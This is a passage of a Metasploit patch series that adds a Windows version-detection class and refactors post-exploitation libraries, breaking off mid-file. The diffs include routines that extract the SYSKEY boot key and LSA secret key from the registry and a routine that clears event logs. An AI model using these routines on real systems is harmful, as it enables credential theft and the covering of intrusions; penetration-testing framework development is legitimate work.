+$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index 20e2ae9f25eb4..2d95c0fcd2e93 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -6,7 +6,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index facd9cfd996a5..42e4d0bd9df4c 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -6,7 +6,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post diff --git a/test/modules/post/test/search.rb b/test/modules/post/test/search.rb index e8d7c4f68820e..2dbe5d87813ec 100644 --- a/test/modules/post/test/search.rb +++ b/test/modules/post/test/search.rb @@ -2,7 +2,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 6455d567bd29b..07c4d5626ede5 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -5,7 +5,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index ecbfd4cb9988e..3c87793a16d9a 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -1,5 +1,5 @@ lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' # load 'test/lib/module_test.rb' From 75ba9110e2239578fc76e12a2ea064ab1a6df18d Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 25 May 2023 12:45:30 +1000 Subject: [PATCH 199/415] Added module for Windows version comparisons Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection. --- lib/msf/core/post/windows/eventlog.rb | 103 +++-- lib/msf/core/post/windows/priv.rb | 117 +++-- lib/msf/core/post/windows/task_scheduler.rb | 15 +- lib/msf/core/post/windows/version.rb | 93 ++++ lib/msf/core/windows_version.rb | 175 ++++++++ .../stdapi/railgun/def/windows/def_ntdll.rb | 369 ++++++++-------- .../windows/local/alpc_taskscheduler.rb | 43 +- .../local/appxsvc_hard_link_privesc.rb | 87 ++-- .../local/bits_ntlm_token_impersonation.rb | 7 +- modules/exploits/windows/local/bthpan.rb | 42 +- modules/exploits/windows/local/bypassuac.rb | 37 +- .../windows/local/bypassuac_comhijack.rb | 19 +- .../local/bypassuac_dotnet_profiler.rb | 70 +-- .../windows/local/bypassuac_eventvwr.rb | 53 ++- .../windows/local/bypassuac_fodhelper.rb | 39 +- .../windows/local/bypassuac_injection.rb | 33 +- .../local/bypassuac_injection_winsxs.rb | 85 ++-- .../exploits/windows/local/bypassuac_sdclt.rb | 47 +- .../windows/local/bypassuac_sluihijack.rb | 37 +- .../exploits/windows/local/bypassuac_vbs.rb | 84 ++-- .../local/bypassuac_windows_store_filesys.rb | 29 +- .../local/bypassuac_windows_store_reg.rb | 47 +- .../exploits/windows/local/capcom_sys_exec.rb | 17 +- modules/exploits/windows/local/comahawk.rb | 27 +- .../local/cve_2018_8453_win32k_priv_esc.rb | 5 +- .../local/cve_2019_1458_wizardopium.rb | 4 +- .../local/cve_2020_0668_service_tracing.rb | 7 +- .../cve_2020_0787_bits_arbitrary_file_move.rb | 6 +- .../windows/local/cve_2020_0796_smbghost.rb | 10 +- .../local/cve_2020_1048_printerdemon.rb | 14 +- .../local/cve_2020_1054_drawiconex_lpe.rb | 3 +- .../cve_2020_1313_system_orchestrator.rb | 7 +- .../local/cve_2020_1337_printerdemon.rb | 8 +- .../exploits/windows/local/cve_2020_17136.rb | 3 +- .../local/cve_2021_21551_dbutil_memmove.rb | 20 +- .../exploits/windows/local/cve_2021_40449.rb | 17 +- .../windows/local/cve_2022_21882_win32k.rb | 19 +- .../local/cve_2022_21999_spoolfool_privesc.rb | 20 +- .../local/cve_2022_26904_superprofile.rb | 11 +- .../local/dnsadmin_serverlevelplugindll.rb | 3 +- .../windows/local/ipass_launch_app.rb | 18 +- .../windows/local/lenovo_systemupdate.rb | 12 +- modules/exploits/windows/local/mov_ss.rb | 92 ++-- modules/exploits/windows/local/mqac_write.rb | 11 +- .../windows/local/ms10_015_kitrap0d.rb | 69 +-- .../windows/local/ms11_080_afdjoinleaf.rb | 11 +- .../windows/local/ms13_053_schlamperei.rb | 43 +- .../local/ms13_081_track_popup_menu.rb | 113 +++-- .../local/ms14_058_track_popup_menu.rb | 132 +++--- .../windows/local/ms15_004_tswbproxy.rb | 10 +- .../local/ms15_051_client_copy_image.rb | 93 ++-- .../windows/local/ms15_078_atmfd_bof.rb | 17 +- .../windows/local/ms16_014_wmi_recv_notif.rb | 82 ++-- ...ms16_032_secondary_logon_handle_privesc.rb | 36 +- .../local/ms16_075_reflection_juicy.rb | 33 +- .../windows/local/ms18_8120_win32k_privesc.rb | 14 +- modules/exploits/windows/local/ms_ndproxy.rb | 43 +- .../windows/local/novell_client_nicm.rb | 68 +-- .../windows/local/novell_client_nwfs.rb | 106 ++--- .../windows/local/ntapphelpcachecontrol.rb | 124 +++--- .../windows/local/ntusermndragover.rb | 11 +- .../exploits/windows/local/nvidia_nvsvc.rb | 45 +- .../exploits/windows/local/panda_psevents.rb | 107 ++--- .../exploits/windows/local/ppr_flatten_rec.rb | 25 +- .../exploits/windows/local/s4u_persistence.rb | 123 +++--- .../windows/local/srclient_dll_hijacking.rb | 13 +- modules/exploits/windows/local/tokenmagic.rb | 20 +- .../local/virtual_box_guest_additions.rb | 50 +-- modules/post/multi/gather/apple_ios_backup.rb | 6 +- modules/post/multi/gather/firefox_creds.rb | 9 +- .../windows/escalate/ms10_073_kbdlayout.rb | 24 +- .../post/windows/escalate/screen_unlock.rb | 24 +- .../windows/escalate/unmarshal_cmd_exec.rb | 14 +- .../gather/credentials/domain_hashdump.rb | 28 +- modules/post/windows/gather/dumplinks.rb | 15 +- modules/post/windows/gather/enum_files.rb | 12 +- modules/post/windows/gather/enum_muicache.rb | 10 +- modules/post/windows/gather/enum_prefetch.rb | 11 +- .../post/windows/gather/file_from_raw_ntfs.rb | 4 +- .../gather/forensics/recovery_files.rb | 13 +- .../windows/gather/local_admin_search_enum.rb | 5 +- modules/post/windows/gather/smart_hashdump.rb | 9 +- .../windows/manage/dell_memory_protect.rb | 45 +- .../windows/manage/enable_support_account.rb | 8 +- modules/post/windows/manage/portproxy.rb | 6 +- modules/post/windows/manage/pptp_tunnel.rb | 5 +- modules/post/windows/manage/rid_hijack.rb | 4 +- .../post/windows/manage/wdigest_caching.rb | 8 +- modules/post/windows/recon/outbound_ports.rb | 5 +- .../core/post/windows/task_scheduler_spec.rb | 40 +- .../lib/msf/core/post/windows/version_spec.rb | 415 ++++++++++++++++++ spec/lib/msf/core/windows_version_spec.rb | 29 ++ 92 files changed, 2348 insertions(+), 1754 deletions(-) create mode 100644 lib/msf/core/post/windows/version.rb create mode 100644 lib/msf/core/windows_version.rb create mode 100644 spec/lib/msf/core/post/windows/version_spec.rb create mode 100644 spec/lib/msf/core/windows_version_spec.rb diff --git a/lib/msf/core/post/windows/eventlog.rb b/lib/msf/core/post/windows/eventlog.rb index 8714b162161ef..db243efb3fe0a 100644 --- a/lib/msf/core/post/windows/eventlog.rb +++ b/lib/msf/core/post/windows/eventlog.rb @@ -1,60 +1,59 @@ # -*- coding: binary -*- -module Msf -class Post -module Windows -module Eventlog +module Msf + class Post + module Windows + module Eventlog + include Msf::Post::Windows::Version - def initialize(info = {}) - super( - update_info( - info, - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_sys_config_sysinfo - stdapi_sys_eventlog_* - ] - } - } - ) - ) - end + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_sys_eventlog_* + ] + } + } + ) + ) + end - # - # Enumerate eventlogs - # - def eventlog_list - key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" - if session.sys.config.sysinfo['OS'] =~ /Windows 2003|\.Net|XP|2000/ - key = "#{key}Eventlog" - else - key = "#{key}eventlog" - end - eventlogs = registry_enumkeys(key) - return eventlogs - end + # + # Enumerate eventlogs + # + def eventlog_list + key = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\' + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Server2003_SP2) + key = "#{key}Eventlog" + else + key = "#{key}eventlog" + end + eventlogs = registry_enumkeys(key) + return eventlogs + end - # - # Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs - # that where cleared. - # - def eventlog_clear(evt = "") - evntlog = [] - if evt.empty? - evntlog = eventloglist - else - evntlog << evt - end - evntlog.each do |e| - log = session.sys.eventlog.open(e) - log.clear + # + # Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs + # that where cleared. + # + def eventlog_clear(evt = '') + evntlog = [] + if evt.empty? + evntlog = eventloglist + else + evntlog << evt + end + evntlog.each do |e| + log = session.sys.eventlog.open(e) + log.clear + end + return evntlog + end + end end - return evntlog end - - -end -end -end end diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 94e1bdb3988c6..9ac0ebc703d64 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -3,17 +3,18 @@ module Msf::Post::Windows::Priv include ::Msf::Post::Windows::Accounts include Msf::Post::Windows::Registry + include Msf::Post::Windows::Version include Msf::Util::WindowsCryptoHelpers INTEGRITY_LEVEL_SID = { - :low => 'S-1-16-4096', - :medium => 'S-1-16-8192', - :high => 'S-1-16-12288', - :system => 'S-1-16-16384' - } + low: 'S-1-16-4096', + medium: 'S-1-16-8192', + high: 'S-1-16-12288', + system: 'S-1-16-16384' + }.freeze - SYSTEM_SID = 'S-1-5-18' - ADMINISTRATORS_SID = 'S-1-5-32-544' + SYSTEM_SID = 'S-1-5-18'.freeze + ADMINISTRATORS_SID = 'S-1-5-32-544'.freeze # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx # ConsentPromptBehaviorAdmin @@ -50,7 +51,11 @@ def initialize(info = {}) def is_admin? if session_has_ext # Assume true if the OS doesn't expose this (Windows 2000) - return session.railgun.shell32.IsUserAnAdmin()['return'] rescue true + begin + return session.railgun.shell32.IsUserAnAdmin()['return'] + rescue StandardError + true + end end local_service_key = registry_enumkeys('HKU\S-1-5-19') @@ -99,7 +104,6 @@ def steal_token(computer_name, user_name) true end - # # Returns true if in the administrator group # @@ -107,7 +111,7 @@ def is_in_admin_group? whoami = get_whoami if whoami.nil? - print_error("Unable to identify admin group membership") + print_error('Unable to identify admin group membership') return nil elsif whoami.include? ADMINISTRATORS_SID return true @@ -137,19 +141,16 @@ def is_system? # def is_uac_enabled? uac = false - winversion = session.sys.config.sysinfo['OS'] - - if winversion =~ /Windows (Vista|7|8|2008|2012|10|2016|2019)/ - unless is_system? - begin - enable_lua = registry_getvaldata( - 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - 'EnableLUA' - ) - uac = (enable_lua == 1) - rescue Rex::Post::Meterpreter::RequestError => e - print_error("Error Checking if UAC is Enabled: #{e.class} #{e}") - end + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 && !is_system? + begin + enable_lua = registry_getvaldata( + 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + 'EnableLUA' + ) + uac = (enable_lua == 1) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Error Checking if UAC is Enabled: #{e.class} #{e}") end end return uac @@ -164,8 +165,8 @@ def is_uac_enabled? def get_uac_level begin uac_level = registry_getvaldata( - 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', - 'ConsentPromptBehaviorAdmin' + 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', + 'ConsentPromptBehaviorAdmin' ) rescue Rex::Post::Meterpreter::RequestError => e print_error("Error Checking UAC Level: #{e.class} #{e}") @@ -185,10 +186,10 @@ def get_integrity_level whoami = get_whoami if whoami.nil? - print_error("Unable to identify integrity level") + print_error('Unable to identify integrity level') return nil else - INTEGRITY_LEVEL_SID.each_pair do |k,sid| + INTEGRITY_LEVEL_SID.each_pair do |_k, sid| if whoami.include? sid return sid end @@ -212,9 +213,9 @@ def is_high_integrity? def get_whoami whoami = cmd_exec('cmd.exe /c whoami /groups') - if whoami.nil? or whoami.empty? + if whoami.nil? || whoami.empty? return nil - elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/ + elsif whoami =~ (/is not recognized/) || whoami =~ (/extra operand/) || whoami =~ (/Access is denied/) return nil else return whoami @@ -225,37 +226,36 @@ def get_whoami # Return true if the session has extended capabilities (ie meterpreter) # def session_has_ext - begin - return !!(session.railgun and session.sys.config) - rescue NoMethodError - return false - end + return !!(session.railgun and session.sys.config) + rescue NoMethodError + return false end # # Returns the unscrambled bootkey # def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" + bootkey = '' + basekey = 'System\\CurrentControlSet\\Control\\Lsa' - %W{JD Skew1 GBG Data}.each do |k| + %w[JD Skew1 GBG Data].each do |k| begin - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + '\\' + k, KEY_READ) rescue Rex::Post::Meterpreter::RequestError end - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") + return nil if !ok + + bootkey << [ok.query_class.to_i(16)].pack('V') ok.close end - keybytes = bootkey.unpack("C*") - descrambled = "" + keybytes = bootkey.unpack('C*') + descrambled = '' descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [keybytes[descrambler[x]]].pack("C") + 0.upto(keybytes.length - 1) do |x| + descrambled << [keybytes[descrambler[x]]].pack('C') end return descrambled @@ -267,39 +267,39 @@ def capture_boot_key # @note This requires the session be running as SYSTEM # def capture_lsa_key(bootkey) - vprint_status("Getting PolSecretEncryptionKey...") - pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "") + vprint_status('Getting PolSecretEncryptionKey...') + pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey', '') if pol - print_status("XP or below system") + print_status('XP or below system') @lsa_vista_style = false - md5x = Digest::MD5.new() + md5x = Digest::MD5.new md5x << bootkey - (1..1000).each do - md5x << pol[60,16] + 1000.times do + md5x << pol[60, 16] end - rc4 = OpenSSL::Cipher.new("rc4") + rc4 = OpenSSL::Cipher.new('rc4') rc4.decrypt rc4.key = md5x.digest - lsa_key = rc4.update(pol[12,48]) + lsa_key = rc4.update(pol[12, 48]) lsa_key << rc4.final lsa_key = lsa_key[0x10..0x1F] else - print_status("Vista or above system") + print_status('Vista or above system') @lsa_vista_style = true vprint_status("Trying 'V72' style...") - vprint_status("Getting PolEKList...") - pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "") + vprint_status('Getting PolEKList...') + pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '') # If that didn't work, then we're out of luck return nil if pol.nil? lsa_key = decrypt_lsa_data(pol, bootkey) - lsa_key = lsa_key[68,32] + lsa_key = lsa_key[68, 32] end - vprint_good(lsa_key.unpack("H*")[0]) + vprint_good(lsa_key.unpack('H*')[0]) return lsa_key end @@ -309,10 +309,9 @@ def capture_lsa_key(bootkey) # registry key, false otherwise. def lsa_vista_style? if @lsa_vista_style.nil? - @lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")) + @lsa_vista_style = !registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '').nil? end @lsa_vista_style end - end diff --git a/lib/msf/core/post/windows/task_scheduler.rb b/lib/msf/core/post/windows/task_scheduler.rb index 32bbccb68f2c4..c37d18b0c53e9 100644 --- a/lib/msf/core/post/windows/task_scheduler.rb +++ b/lib/msf/core/post/windows/task_scheduler.rb @@ -263,20 +263,19 @@ def task_query(task_name, opts = {}) def check_compatibility # Check Windows version to make sure we will use the correct supported command flags - # - `schtasks.exe` on Windows prior to Windows Server 2003 SP2 has + # - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has # some different `/create` option flags. - # - `schtasks.exe` on Windows until Server 2003 SP2 has some - # different `/query` option flags. + # - `schtasks.exe` on Windows prior to Vista has some + # different `/query` option flags - set @old_os to true # Also, on these OSes, `reg.exe` does not support the `/reg:64` flag. + @old_schtasks = false @old_os = false - return unless sysinfo - match = sysinfo['OS'].match(/(?[\d.]+) Build/) - return unless match - if Rex::Version.new((match[:version])) < Rex::Version.new('6.0') + version = get_version_info + if version.build_number < Msf::WindowsVersion::Vista_SP0 @old_os = true - unless sysinfo['OS'].include?('5.2 Build 3790, Service Pack 2') + if version.build_number < Msf::WindowsVersion::Server2003_SP1 @old_schtasks = true end if datastore['ScheduleRemoteSystem'].present? diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb new file mode 100644 index 0000000000000..2b8eeb1e626b2 --- /dev/null +++ b/lib/msf/core/post/windows/version.rb @@ -0,0 +1,93 @@ +# -*- coding: binary -*- + +module Msf::Post::Windows::Version + + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + ] + } + } + ) + ) + end + + def get_version_info + if session.type == 'meterpreter' + result = session.railgun.ntdll.RtlGetVersion(input_os_version_info_ex) + os_version_info_ex = unpack_version_info(result['VersionInformation']) + major = os_version_info_ex[1] + minor = os_version_info_ex[2] + build = os_version_info_ex[3] + service_pack = os_version_info_ex[6] + product_type = os_version_info_ex[9] + + Msf::WindowsVersion.new(major, minor, build, service_pack, product_type) + else + build_num_raw = cmd_exec('systeminfo') + bn_groups = build_num_raw.match(/OS Version:\s+(\d+)\.(\d+)\.(\d+).*((Service Pack\s+(\d+))|N\/A)/) + if bn_groups.nil? + print_error("Couldn't retrieve the target's build number!") + raise RuntimeError.new("Couldn't retrieve the target's build number!") + else + sp = bn_groups[6] + sp = 0 if sp.nil? + workstation = 'Standalone Workstation' + dc = 'Domain Controller' + server = 'Standalone Server' + product_regex_output = build_num_raw.match(/((#{workstation})|(#{dc})|(#{server}))/) + if product_regex_output.nil? + product_type = Msf::WindowsVersion::UnknownProduct + else + case product_regex_output[1] + when workstation + product_type = Msf::WindowsVersion::VER_NT_WORKSTATION + when dc + product_type = Msf::WindowsVersion::VER_NT_DOMAIN_CONTROLLER + when server + product_type = Msf::WindowsVersion::VER_NT_SERVER + end + end + Msf::WindowsVersion.new(bn_groups[1].to_i, bn_groups[2].to_i, bn_groups[3].to_i, sp, product_type) + end + end + end + + private + + def empty_os_version_info_ex + result = [0, + 0, + 0, + 0, + 0, + "", + 0, + 0, + 0, + 0, + 0 + ] + end + + def pack_version_info(info) + info.pack('VVVVVa256vvvCC') + end + + def unpack_version_info(bytes) + bytes.unpack('VVVVVa256vvvCC') + end + + def input_os_version_info_ex + input = empty_os_version_info_ex + size = pack_version_info(input).size + input[0] = size + + pack_version_info(input) + end +end diff --git a/lib/msf/core/windows_version.rb b/lib/msf/core/windows_version.rb new file mode 100644 index 0000000000000..3e57b7bad3d8d --- /dev/null +++ b/lib/msf/core/windows_version.rb @@ -0,0 +1,175 @@ +# -*- coding: binary -*- + +module Msf + # + # Represents the version of a Windows operating system + # + class WindowsVersion + + VER_NT_WORKSTATION = 1 + VER_NT_DOMAIN_CONTROLLER = 2 + VER_NT_SERVER = 3 + UnknownProduct = -1 + + Win2000 = Rex::Version.new('5.0.2195') + XP_SP0 = Rex::Version.new('5.1.2600.0') + XP_SP1 = Rex::Version.new('5.1.2600.1') + XP_SP2 = Rex::Version.new('5.1.2600.2') + XP_SP3 = Rex::Version.new('5.1.2600.3') + Server2003_SP0 = Rex::Version.new('5.2.3790.0') + Server2003_SP1 = Rex::Version.new('5.2.3790.1') + Server2003_SP2 = Rex::Version.new('5.2.3790.2') + Vista_SP0 = Server2008_SP0 = Rex::Version.new('6.0.6000.0') + Vista_SP1 = Server2008_SP1 = Rex::Version.new('6.0.6001.1') + Vista_SP2 = Server2008_SP2 = Rex::Version.new('6.0.6002.2') + Win7_SP0 = Server2008_R2_SP0 = Rex::Version.new('6.1.7600.0') + Win7_SP1 = Server2008_R2_SP1 = Rex::Version.new('6.1.7601.1') + Win8 = Server2012 = Rex::Version.new('6.2.9200.0') + Win81 = Server2012_R2 = Rex::Version.new('6.3.9600.0') + Win10_1507 = Win10_InitialRelease = Rex::Version.new('10.0.10240.0') + Win10_1511 = Rex::Version.new('10.0.10586.0') + Win10_1607 = Server2016 = Rex::Version.new('10.0.14393.0') + Win10_1703 = Rex::Version.new('10.0.15063.0') + Win10_1709 = Rex::Version.new('10.0.16299.0') + Win10_1803 = Rex::Version.new('10.0.17134.0') + Win10_1809 = Server2019 = Rex::Version.new('10.0.17763.0') + Win10_1903 = Rex::Version.new('10.0.18362.0') + Win10_1909 = Rex::Version.new('10.0.18363.0') + Win10_2004 = Rex::Version.new('10.0.19041.0') + Win10_20H2 = Rex::Version.new('10.0.19042.0') + Win10_21H1 = Rex::Version.new('10.0.19043.0') + Win10_21H2 = Rex::Version.new('10.0.19044.0') + Win10_22H2 = Rex::Version.new('10.0.19045.0') + Server2022 = Rex::Version.new('10.0.20348.0') + Win11_21H2 = Rex::Version.new('10.0.22000.0') + Win11_22H2 = Rex::Version.new('10.0.22621.0') + + module MajorRelease + NT351 = 'Windows NT 3.51'.freeze + Win95 = 'Windows 95'.freeze + Win98 = 'Windows 98'.freeze + WinME = 'Windows ME'.freeze + + XP = 'Windows XP'.freeze + Server2003 = 'Windows Server 2003'.freeze + + Vista = 'Windows Vista'.freeze + Server2008 = 'Windows Server 2008'.freeze + + Win7 = 'Windows 7'.freeze + Server2008R2 = 'Windows 2008 R2'.freeze + + Win8 = 'Windows 8'.freeze + Server2012 = 'Windows Server 2012'.freeze + + Win81 = 'Windows 8.1'.freeze + Server2012R2 = 'Windows Server 2012 R2'.freeze + + Win10Plus = 'Windows 10+'.freeze + Server2016Plus = 'Windows Server 2016+'.freeze + end + + def initialize(major, minor, build, service_pack, product_type) + self._major = major + self._minor = minor + self._build = build + self._service_pack = service_pack + self.product_type = product_type + end + + # The specific build number of this version (major.minor.build.service_pack) + def build_number + Rex::Version.new("#{_major}.#{_minor}.#{_build}.#{_service_pack}") + end + + # Is this OS a Windows Server instance? + def windows_server? + # There are other types than just workstation/server/DC, but Microsoft's own documentation says + # "If it's not Workstation, then it's Server" + # https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-osversioninfoexa + product_type != VER_NT_WORKSTATION + end + + # Is this a Workstation build? + def workstation? + product_type == VER_NT_WORKSTATION + end + + # This Windows Server has been promoted to a DC + def domain_controller? + product_type == VER_NT_DOMAIN_CONTROLLER + end + + # The name of the OS, as it is most commonly rendered. Includes Service Pack if present, or build number if Win10 or higher. + def product_name + result = "Unknown Windows version: #{_major}.#{_minor}.#{_build}" + name = major_release_name + result = name unless name.nil? + result = "#{result} Service Pack #{_service_pack}" if _service_pack != 0 + result = "#{result} Build #{_build}" if build_number >= Win10_InitialRelease + + result + end + + def to_s + product_name + end + + # Is this version number from the Vista/Server 2008 generation of Windows OSes + def vista_or_2008? + build_number.between?(Vista_SP0, Vista_SP2) + end + + # Is this version number from the Windows 7/Server 2008 R2 generation of Windows OSes + def win7_or_2008r2? + build_number.between?(Win7_SP0, Win7_SP1) + end + + # Is this version number from the XP/Server 2003 generation of Windows OSes + def xp_or_2003? + build_number.between?(XP_SP0, Server2003_SP2) + end + + private + + attr_accessor :_major, :_minor, :_build, :_service_pack, :product_type + + # The major release within which this build fits + def major_release_name + if _major == 5 + if _minor == 1 + return MajorRelease::XP + elsif _minor == 2 + return MajorRelease::Server2003 if windows_server? + + return MajorRelease::XP + end + elsif _major == 6 + if _minor == 0 + return MajorRelease::Server2008 if windows_server? + + return MajorRelease::Vista + elsif _minor == 1 + return MajorRelease::Server2008R2 if windows_server? + + return MajorRelease::Win7 + elsif _minor == 2 + return MajorRelease::Server2012 if windows_server? + + return MajorRelease::Win8 + elsif _minor == 3 + return MajorRelease::Server2012R2 if windows_server? + + return MajorRelease::Win81 + end + elsif _major == 10 + if _minor == 0 + return MajorRelease::Server2016Plus if windows_server? + + return MajorRelease::Win10Plus + end + end + return nil + end + end +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb index 1194632f2a105..cb729b30a0def 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb @@ -1,186 +1,187 @@ # -*- coding: binary -*- -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Railgun -module Def - -class Def_windows_ntdll - - def self.create_library(constant_manager, library_path = 'ntdll') - dll = Library.new(library_path, constant_manager) - - dll.add_function('NtAllocateVirtualMemory', 'DWORD',[ - ["DWORD","ProcessHandle","in"], - ["PBLOB","BaseAddress","inout"], - ["PDWORD","ZeroBits","in"], - ["PBLOB","RegionSize","inout"], - ["DWORD","AllocationType","in"], - ["DWORD","Protect","in"] - ]) - - dll.add_function('NtClose', 'DWORD',[ - ["DWORD","Handle","in"], - ]) - - dll.add_function('NtCreateFile', 'DWORD',[ - ["PHANDLE","FileHandle","inout"], - ["DWORD","DesiredAccess","in"], - ["PBLOB","ObjectAttributes","in"], - ["PBLOB","IoStatusBlock","inout"], - ["PBLOB","AllocationSize","in"], - ["DWORD","FileAttributes","in"], - ["DWORD","ShareAccess","in"], - ["DWORD","CreateDisposition","in"], - ["DWORD","CreateOptions","in"], - ["PBLOB","EaBuffer","in"], - ["DWORD","EaLength","in"], - ]) - - dll.add_function('NtDeviceIoControlFile', 'DWORD',[ - ["DWORD","FileHandle","in"], - ["DWORD","Event","in"], - ["LPVOID","ApcRoutine","in"], - ["LPVOID","ApcContext","in"], - ["PDWORD","IoStatusBlock","out"], - ["DWORD","IoControlCode","in"], - ["LPVOID","InputBuffer","in"], - ["DWORD","InputBufferLength","in"], - ["LPVOID","OutputBuffer","in"], - ["DWORD","OutputBufferLength","in"], - ]) - - dll.add_function('NtOpenFile', 'DWORD',[ - ["PHANDLE","FileHandle","inout"], - ["DWORD","DesiredAccess","in"], - ["PBLOB","ObjectAttributes","in"], - ["PBLOB","IoStatusBlock","inout"], - ["DWORD","ShareAccess","in"], - ["DWORD","OpenOptions","in"], - ]) - - dll.add_function('NtQueryInformationProcess', 'DWORD',[ - ["DWORD","ProcessHandle","in"], - ["DWORD","ProcessInformationClass","in"], - ["PBLOB","ProcessInformation","inout"], - ["DWORD","ProcessInformationLength","in"], - ["PDWORD","ReturnLength","inout"], - ]) - - dll.add_function('NtQueryInformationThread', 'DWORD',[ - ["DWORD","ThreadHandle","in"], - ["DWORD","ThreadInformationClass","in"], - ["PBLOB","ThreadInformation","inout"], - ["DWORD","ThreadInformationLength","in"], - ["PDWORD","ReturnLength","inout"], - ]) - - dll.add_function('NtQueryIntervalProfile', 'DWORD',[ - ["DWORD","ProfileSource","in"], - ["PDWORD","Interval","out"], - ]) - - dll.add_function('NtQuerySystemInformation', 'DWORD',[ - ["DWORD","SystemInformationClass","in"], - ["PBLOB","SystemInformation","inout"], - ["DWORD","SystemInformationLength","in"], - ["PDWORD","ReturnLength","inout"], - ]) - - dll.add_function('NtQuerySystemTime', 'DWORD',[ - ["PBLOB","SystemTime","inout"], - ]) - - dll.add_function('NtWaitForSingleObject', 'DWORD',[ - ["DWORD","Handle","in"], - ["BOOL","Alertable","in"], - ["PBLOB","Timeout","in"], - ]) - - dll.add_function('RtlCharToInteger', 'DWORD',[ - ["PBLOB","String","inout"], - ["DWORD","Base","in"], - ["PDWORD","Value","inout"], - ]) - - dll.add_function('RtlConvertSidToUnicodeString', 'DWORD',[ - ["PBLOB","UnicodeString","inout"], - ["PBLOB","Sid","inout"], - ["BOOL","AllocateDestinationString","in"], - ]) - - dll.add_function('RtlFreeAnsiString', 'VOID',[ - ["PBLOB","AnsiString","inout"], - ]) - - dll.add_function('RtlFreeOemString', 'VOID',[ - ["PBLOB","OemString","inout"], - ]) - - dll.add_function('RtlFreeUnicodeString', 'VOID',[ - ["PBLOB","UnicodeString","inout"], - ]) - - dll.add_function('RtlGetNtVersionNumbers', 'VOID',[ - ["PDWORD","MajorVersion","inout"], - ["PDWORD","MinorVersion","inout"], - 